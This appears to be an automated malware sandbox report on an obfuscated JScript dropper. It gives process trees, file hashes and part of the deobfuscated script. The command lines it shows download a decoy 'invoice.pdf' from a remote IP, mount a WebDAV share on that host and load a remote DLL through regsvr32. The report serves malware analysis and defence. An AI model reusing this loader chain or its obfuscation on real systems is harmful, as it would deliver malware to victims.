Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18231), with CRLF line terminators
Entropy (8bit):	4.898022084381346
TrID:
File name:	1492619129759821343.js
File size:	21'737 bytes
MD5:	a9a5afeebefff40869f3365918ad2ee2
SHA1:	f77da47167c39138c5eb7c6996bb57e845e55963
SHA256:	b4f3575cd778070d99d458d8a33d6ac3a974900c550d9194c6dda6531bf4da9a
SHA512:	0193171ef5c3945bb4351315e99142bf236e2cc10c1f022b8846908317c6f6fb71ce96eac8af7a674a37bec567101ca8f71910edc885bc95885634b4a71ec076
SSDEEP:	384:x4k+8jAqyRnRHWEKOAz5cQYggXBV917bcCP:KLqcKOs6bcCP
TLSH:	9EA2A5C18581C3EBD6D042765869E0E712A440AEC3FD78EAE72570D8AD513FBF1EA4B4
File Content Preview:	function crnycah(){dxtfunch=[1031,3079,5127,4103,2055,3072];var obmptd=this[uziigu+ndgycs+ndddj+oagxhgh+arltgranh+bagypwgr+naqeajeix+drhlukb](this[wfqnjoim+mmmtmens+ffzyhuac+ndddj+slawm+uziigu+drhlukb][jrqnynxkh+ndddj+arltgranh+ndgycs+drhlukb+arltgranh+kn

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	16:57:13
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1492619129759821343.js"
Imagebase:	0x7ff660c90000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:57:14
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll
Imagebase:	0x7ff624f20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:57:15
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:57:16
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:57:22
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:57:22
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff624f20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:57:22
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7cc630000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:57:23
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:57:23
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:57:23
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1624,i,10752542739591527044,16325113130440687339,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function crnycah() {	crnycah() ➔ undefined
1	dxtfunch = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var obmptd = this[uziigu + ndgycs + ndddj + oagxhgh + arltgranh + bagypwgr + naqeajeix + drhlukb] ( this[wfqnjoim + mmmtmens + ffzyhuac + ndddj + slawm + uziigu + drhlukb][jrqnynxkh + ndddj + arltgranh + ndgycs + drhlukb + arltgranh + knxrpb + wpatzg + yygivqfnt + arltgranh + ffzyhuac + drhlukb] ( wfqnjoim + mmmtmens + ffzyhuac + ndddj + slawm + uziigu + drhlukb + puwkrowso + mmmtmens + wmdkgmpsl + arltgranh + nhfzlwq + nhfzlwq ) [pddwo + arltgranh + jrdyr + pddwo + arltgranh + ndgycs + yxohx] ( mdcgfwt + bofpozt + tvkwhn + nzdzqmrl + nzjlkut + jrqnynxkh + hoogmeo + pddwo + pddwo + tvkwhn + cuyikcr + glofkryh + nzjlkut + hoogmeo + mmmtmens + tvkwhn + pddwo + qqspgfa + jrqnynxkh + nvlwu + naqeajeix + drhlukb + ndddj + nvlwu + nhfzlwq + uqutw + ctoma + ndgycs + naqeajeix + arltgranh + nhfzlwq + qqspgfa + bagypwgr + naqeajeix + drhlukb + arltgranh + ndddj + naqeajeix + ndgycs + drhlukb + slawm + nvlwu + naqeajeix + ndgycs + nhfzlwq + qqspgfa + sypxdtb + nvlwu + ffzyhuac + ndgycs + nhfzlwq + arltgranh ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( zbqofx = 0 ; zbqofx < dxtfunch[nhfzlwq + arltgranh + naqeajeix + jrdyr + drhlukb + wmdkgmpsl] ; ++ zbqofx )
4	{
5	if ( obmptd == dxtfunch[zbqofx] )
6	{
7	obmptd = true;
8	break ;
9	}
10	}
11	if ( obmptd !== true )
12	this[wfqnjoim + mmmtmens + ffzyhuac + ndddj + slawm + uziigu + drhlukb][zsdebrgnw + twyzejvg + slawm + drhlukb] ( );
13	this[wfqnjoim + mmmtmens + ffzyhuac + ndddj + slawm + uziigu + drhlukb][jrqnynxkh + ndddj + arltgranh + ndgycs + drhlukb + arltgranh + knxrpb + wpatzg + yygivqfnt + arltgranh + ffzyhuac + drhlukb] ( wfqnjoim + mmmtmens + ffzyhuac + ndddj + slawm + uziigu + drhlukb + puwkrowso + mmmtmens + wmdkgmpsl + arltgranh + nhfzlwq + nhfzlwq ) [ndddj + twyzejvg + naqeajeix] ( ffzyhuac + gcjiaxu + yxohx + uqutw + llimsgunj + ffzyhuac + uqutw + uziigu + nvlwu + gzjdxshci + arltgranh + ndddj + oagxhgh + wmdkgmpsl + arltgranh + nhfzlwq + nhfzlwq + puwkrowso + arltgranh + kecmn + arltgranh + uqutw + fahhx + jrqnynxkh + nvlwu + gcjiaxu + gcjiaxu + ndgycs + naqeajeix + yxohx + uqutw + odolxt + bagypwgr + naqeajeix + xbnwfepf + nvlwu + kvnpdvpju + arltgranh + fahhx + wfqnjoim + arltgranh + wpatzg + pddwo + arltgranh + vioiswz + twyzejvg + arltgranh + oagxhgh + drhlukb + uqutw + fahhx + knxrpb + twyzejvg + drhlukb + mbpuybf + slawm + nhfzlwq + arltgranh + uqutw + vrxvxyh + drhlukb + arltgranh + gcjiaxu + uziigu + vrxvxyh + qqspgfa + slawm + naqeajeix + xbnwfepf + nvlwu + slawm + ffzyhuac + arltgranh + puwkrowso + uziigu + yxohx + ganjg + uqutw + wmdkgmpsl + drhlukb + drhlukb + uziigu + kioyafbm + llimsgunj + llimsgunj + ynrsgq + glzxf + sdaklxd + puwkrowso + ynrsgq + ufccldy + sdaklxd + puwkrowso + ynrsgq + puwkrowso + azotsc + vpmyuymbz + ybppfgihz + llimsgunj + slawm + naqeajeix + xbnwfepf + nvlwu + slawm + ffzyhuac + arltgranh + puwkrowso + uziigu + wmdkgmpsl + uziigu + odolxt + tofuydwtl + tofuydwtl + oagxhgh + drhlukb + ndgycs + ndddj + drhlukb + uqutw + vrxvxyh + drhlukb + arltgranh + gcjiaxu + uziigu + vrxvxyh + qqspgfa + slawm + naqeajeix + xbnwfepf + nvlwu + slawm + ffzyhuac + arltgranh + puwkrowso + uziigu + yxohx + ganjg + tofuydwtl + tofuydwtl + ffzyhuac + gcjiaxu + yxohx + uqutw + llimsgunj + ffzyhuac + uqutw + naqeajeix + arltgranh + drhlukb + uqutw + twyzejvg + oagxhgh + arltgranh + uqutw + qqspgfa + qqspgfa + ynrsgq + glzxf + sdaklxd + puwkrowso + ynrsgq + ufccldy + sdaklxd + puwkrowso + ynrsgq + puwkrowso + azotsc + vpmyuymbz + ybppfgihz + gvguiqp + xwxijnrx + xwxijnrx + xwxijnrx + xwxijnrx + qqspgfa + yxohx + ndgycs + xbnwfepf + gzjdxshci + gzjdxshci + gzjdxshci + ndddj + nvlwu + nvlwu + drhlukb + qqspgfa + tofuydwtl + tofuydwtl + ffzyhuac + gcjiaxu + yxohx + uqutw + llimsgunj + ffzyhuac + uqutw + ndddj + arltgranh + jrdyr + oagxhgh + xbnwfepf + ndddj + sdaklxd + azotsc + uqutw + llimsgunj + oagxhgh + uqutw + qqspgfa + qqspgfa + ynrsgq + glzxf + sdaklxd + puwkrowso + ynrsgq + ufccldy + sdaklxd + puwkrowso + ynrsgq + puwkrowso + azotsc + vpmyuymbz + ybppfgihz + gvguiqp + xwxijnrx + xwxijnrx + xwxijnrx + xwxijnrx + qqspgfa + yxohx + ndgycs + xbnwfepf + gzjdxshci + gzjdxshci + gzjdxshci + ndddj + nvlwu + nvlwu + drhlukb + qqspgfa + sdaklxd + ynrsgq + ufccldy + ynrsgq + nishbck + evhguoxb + nishbck + glzxf + azotsc + glzxf + vpmyuymbz + glzxf + azotsc + puwkrowso + yxohx + nhfzlwq + nhfzlwq, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll",0,false) ➔ 0
14	}
15	ctoma = "P";
16	ctoma = "n";
17	ctoma = "h";
18	ctoma = "f";
19	ctoma = "l";
20	ctoma = "f";
21	ctoma = "u";
22	ctoma = "I";
23	ctoma = "N";
24	ctoma = "O";
25	ctoma = "q";
26	ctoma = "o";
27	ctoma = "W";
28	ctoma = "X";
29	ctoma = "O";
30	ctoma = "y";
31	ctoma = "o";
32	ctoma = "k";
33	ctoma = "a";
34	ctoma = "K";
35	ctoma = "D";
36	ctoma = "P";
37	oagxhgh = "b";
38	oagxhgh = "E";
39	oagxhgh = "d";
40	oagxhgh = "F";
41	oagxhgh = "x";
42	oagxhgh = "J";
43	oagxhgh = "p";
44	oagxhgh = "b";
45	oagxhgh = "a";
46	oagxhgh = "g";
47	oagxhgh = "a";
48	oagxhgh = "B";
49	oagxhgh = "h";
50	oagxhgh = "G";
51	oagxhgh = "d";
52	oagxhgh = "o";
53	oagxhgh = "M";
54	oagxhgh = "F";
55	oagxhgh = "c";
56	oagxhgh = "k";
57	oagxhgh = "t";
58	oagxhgh = "G";
59	oagxhgh = "I";
60	oagxhgh = "I";
61	oagxhgh = "M";
62	oagxhgh = "K";
63	oagxhgh = "T";
64	oagxhgh = "D";
65	oagxhgh = "f";
66	oagxhgh = "I";
67	oagxhgh = "l";
68	oagxhgh = "D";
69	oagxhgh = "c";
70	oagxhgh = "s";
71	naqeajeix = "n";
72	hoogmeo = "F";
73	hoogmeo = "u";
74	hoogmeo = "A";
75	hoogmeo = "A";
76	hoogmeo = "M";
77	hoogmeo = "l";
78	hoogmeo = "o";
79	hoogmeo = "Q";
80	hoogmeo = "p";
81	hoogmeo = "L";
82	hoogmeo = "Q";
83	hoogmeo = "h";
84	hoogmeo = "E";
85	hoogmeo = "L";
86	hoogmeo = "N";
87	hoogmeo = "b";
88	hoogmeo = "U";
89	hoogmeo = "v";
90	hoogmeo = "S";
91	hoogmeo = "d";
92	hoogmeo = "n";
93	hoogmeo = "Y";
94	hoogmeo = "A";
95	hoogmeo = "C";
96	hoogmeo = "c";
97	hoogmeo = "n";
98	hoogmeo = "Y";
99	hoogmeo = "d";
100	hoogmeo = "f";
101	hoogmeo = "p";
102	hoogmeo = "E";
103	hoogmeo = "a";
104	hoogmeo = "c";
105	hoogmeo = "f";
106	hoogmeo = "T";
107	hoogmeo = "q";
108	hoogmeo = "s";
109	hoogmeo = "U";
110	kvnpdvpju = "j";
111	kvnpdvpju = "Q";
112	kvnpdvpju = "k";
113	kvnpdvpju = "O";
114	kvnpdvpju = "c";
115	kvnpdvpju = "k";
116	ybppfgihz = "T";
117	ybppfgihz = "O";
118	ybppfgihz = "D";
119	ybppfgihz = "H";
120	ybppfgihz = "x";
121	ybppfgihz = "y";
122	ybppfgihz = "y";
123	ybppfgihz = "q";
124	ybppfgihz = "a";
125	ybppfgihz = "c";
126	ybppfgihz = "d";
127	ybppfgihz = "5";
128	ffzyhuac = "c";
129	puwkrowso = "o";
130	puwkrowso = "m";
131	puwkrowso = "v";
132	puwkrowso = ".";
133	tofuydwtl = "E";
134	tofuydwtl = "p";
135	tofuydwtl = "J";
136	tofuydwtl = "J";
137	tofuydwtl = "B";
138	tofuydwtl = "R";
139	tofuydwtl = "c";
140	tofuydwtl = "X";
141	tofuydwtl = "c";
142	tofuydwtl = "T";
143	tofuydwtl = "u";
144	tofuydwtl = "u";
145	tofuydwtl = "y";
146	tofuydwtl = "z";
147	tofuydwtl = "N";
148	tofuydwtl = "e";
149	tofuydwtl = "Z";
150	tofuydwtl = "d";
151	tofuydwtl = "d";
152	tofuydwtl = "&";
153	zsdebrgnw = "R";
154	zsdebrgnw = "e";
155	zsdebrgnw = "Z";
156	zsdebrgnw = "a";
157	zsdebrgnw = "T";
158	zsdebrgnw = "H";
159	zsdebrgnw = "v";
160	zsdebrgnw = "X";
161	zsdebrgnw = "Z";
162	zsdebrgnw = "J";
163	zsdebrgnw = "W";
164	zsdebrgnw = "n";
165	zsdebrgnw = "G";
166	zsdebrgnw = "i";
167	zsdebrgnw = "z";
168	zsdebrgnw = "k";
169	zsdebrgnw = "P";
170	zsdebrgnw = "V";
171	zsdebrgnw = "p";
172	zsdebrgnw = "E";
173	zsdebrgnw = "N";
174	zsdebrgnw = "s";
175	zsdebrgnw = "w";
176	zsdebrgnw = "m";
177	zsdebrgnw = "b";
178	zsdebrgnw = "Y";
179	zsdebrgnw = "Y";
180	zsdebrgnw = "v";
181	zsdebrgnw = "D";
182	zsdebrgnw = "N";
183	zsdebrgnw = "s";
184	zsdebrgnw = "k";
185	zsdebrgnw = "i";
186	zsdebrgnw = "s";
187	zsdebrgnw = "U";
188	zsdebrgnw = "y";
189	zsdebrgnw = "B";
190	zsdebrgnw = "b";
191	zsdebrgnw = "Q";
192	jrqnynxkh = "N";
193	jrqnynxkh = "p";
194	jrqnynxkh = "N";
195	jrqnynxkh = "o";
196	jrqnynxkh = "F";
197	jrqnynxkh = "g";
198	jrqnynxkh = "S";
199	jrqnynxkh = "N";
200	jrqnynxkh = "A";
201	jrqnynxkh = "d";
202	jrqnynxkh = "y";
203	jrqnynxkh = "Y";
204	jrqnynxkh = "Z";
205	jrqnynxkh = "v";
206	jrqnynxkh = "i";
207	jrqnynxkh = "s";
208	jrqnynxkh = "R";
209	jrqnynxkh = "C";
210	jrqnynxkh = "B";
211	jrqnynxkh = "B";
212	jrqnynxkh = "s";
213	jrqnynxkh = "l";
214	jrqnynxkh = "s";
215	jrqnynxkh = "X";
216	jrqnynxkh = "l";
217	jrqnynxkh = "X";
218	jrqnynxkh = "c";
219	jrqnynxkh = "j";
220	jrqnynxkh = "U";
221	jrqnynxkh = "E";
222	jrqnynxkh = "q";
223	jrqnynxkh = "h";
224	jrqnynxkh = "a";
225	jrqnynxkh = "C";
226	kioyafbm = "w";
227	kioyafbm = "Z";
228	kioyafbm = "h";
229	kioyafbm = "D";
230	kioyafbm = "B";
231	kioyafbm = "S";
232	kioyafbm = "D";
233	kioyafbm = "a";
234	kioyafbm = "o";
235	kioyafbm = "b";
236	kioyafbm = "M";
237	kioyafbm = "c";
238	kioyafbm = "l";
239	kioyafbm = "N";
240	kioyafbm = "d";
241	kioyafbm = "F";
242	kioyafbm = "a";
243	kioyafbm = "b";
244	kioyafbm = "I";
245	kioyafbm = "x";
246	kioyafbm = "S";
247	kioyafbm = "b";
248	kioyafbm = ":";
249	uqutw = "v";
250	uqutw = "n";
251	uqutw = " ";
252	tvkwhn = "V";
253	tvkwhn = "b";
254	tvkwhn = "j";
255	tvkwhn = "z";
256	tvkwhn = "x";
257	tvkwhn = "U";
258	tvkwhn = "x";
259	tvkwhn = "Y";
260	tvkwhn = "P";
261	tvkwhn = "n";
262	tvkwhn = "u";
263	tvkwhn = "z";
264	tvkwhn = "v";
265	tvkwhn = "I";
266	tvkwhn = "t";
267	tvkwhn = "B";
268	tvkwhn = "w";
269	tvkwhn = "b";
270	tvkwhn = "d";
271	tvkwhn = "V";
272	tvkwhn = "y";
273	tvkwhn = "I";
274	tvkwhn = "F";
275	tvkwhn = "B";
276	tvkwhn = "K";
277	tvkwhn = "v";
278	tvkwhn = "a";
279	tvkwhn = "Q";
280	tvkwhn = "b";
281	tvkwhn = "H";
282	tvkwhn = "m";
283	tvkwhn = "o";
284	tvkwhn = "v";
285	tvkwhn = "j";
286	tvkwhn = "L";
287	tvkwhn = "n";
288	tvkwhn = "W";
289	tvkwhn = "u";
290	tvkwhn = "N";
291	tvkwhn = "W";
292	tvkwhn = "r";
293	tvkwhn = "E";
294	bofpozt = "N";
295	bofpozt = "X";
296	bofpozt = "x";
297	bofpozt = "M";
298	bofpozt = "I";
299	bofpozt = "L";
300	bofpozt = "g";
301	bofpozt = "w";
302	bofpozt = "R";
303	bofpozt = "R";
304	bofpozt = "K";
305	bofpozt = "h";
306	bofpozt = "W";
307	bofpozt = "z";
308	bofpozt = "w";
309	bofpozt = "S";
310	bofpozt = "v";
311	bofpozt = "b";
312	bofpozt = "d";
313	bofpozt = "p";
314	bofpozt = "V";
315	bofpozt = "J";
316	bofpozt = "T";
317	bofpozt = "K";
318	bofpozt = "c";
319	bofpozt = "j";
320	bofpozt = "V";
321	bofpozt = "Y";
322	bofpozt = "q";
323	bofpozt = "X";
324	bofpozt = "K";
325	glofkryh = "l";
326	glofkryh = "C";
327	glofkryh = "M";
328	glofkryh = "V";
329	glofkryh = "x";
330	glofkryh = "d";
331	glofkryh = "C";
332	glofkryh = "f";
333	glofkryh = "N";
334	glofkryh = "r";
335	glofkryh = "g";
336	glofkryh = "t";
337	glofkryh = "T";
338	wpatzg = "w";
339	wpatzg = "D";
340	wpatzg = "z";
341	wpatzg = "t";
342	wpatzg = "v";
343	wpatzg = "Y";
344	wpatzg = "c";
345	wpatzg = "l";
346	wpatzg = "V";
347	wpatzg = "d";
348	wpatzg = "h";
349	wpatzg = "I";
350	wpatzg = "N";
351	wpatzg = "d";
352	wpatzg = "R";
353	wpatzg = "z";
354	wpatzg = "M";
355	wpatzg = "X";
356	wpatzg = "c";
357	wpatzg = "G";
358	wpatzg = "k";
359	wpatzg = "j";
360	wpatzg = "a";
361	wpatzg = "X";
362	wpatzg = "R";
363	wpatzg = "b";
364	wpatzg = "w";
365	wpatzg = "b";
366	uziigu = "j";
367	uziigu = "u";
368	uziigu = "b";
369	uziigu = "m";
370	uziigu = "d";
371	uziigu = "U";
372	uziigu = "i";
373	uziigu = "c";
374	uziigu = "D";
375	uziigu = "Q";
376	uziigu = "v";
377	uziigu = "Z";
378	uziigu = "w";
379	uziigu = "z";
380	uziigu = "j";
381	uziigu = "C";
382	uziigu = "P";
383	uziigu = "Z";
384	uziigu = "x";
385	uziigu = "K";
386	uziigu = "d";
387	uziigu = "o";
388	uziigu = "i";
389	uziigu = "u";
390	uziigu = "w";
391	uziigu = "Z";
392	uziigu = "a";
393	uziigu = "M";
394	uziigu = "y";
395	uziigu = "Z";
396	uziigu = "R";
397	uziigu = "R";
398	uziigu = "b";
399	uziigu = "u";
400	uziigu = "C";
401	uziigu = "p";
402	vioiswz = "q";
403	gzjdxshci = "x";
404	gzjdxshci = "d";
405	gzjdxshci = "X";
406	gzjdxshci = "R";
407	gzjdxshci = "R";
408	gzjdxshci = "R";
409	gzjdxshci = "p";
410	gzjdxshci = "o";
411	gzjdxshci = "O";
412	gzjdxshci = "c";
413	gzjdxshci = "Z";
414	gzjdxshci = "V";
415	gzjdxshci = "j";
416	gzjdxshci = "R";
417	gzjdxshci = "k";
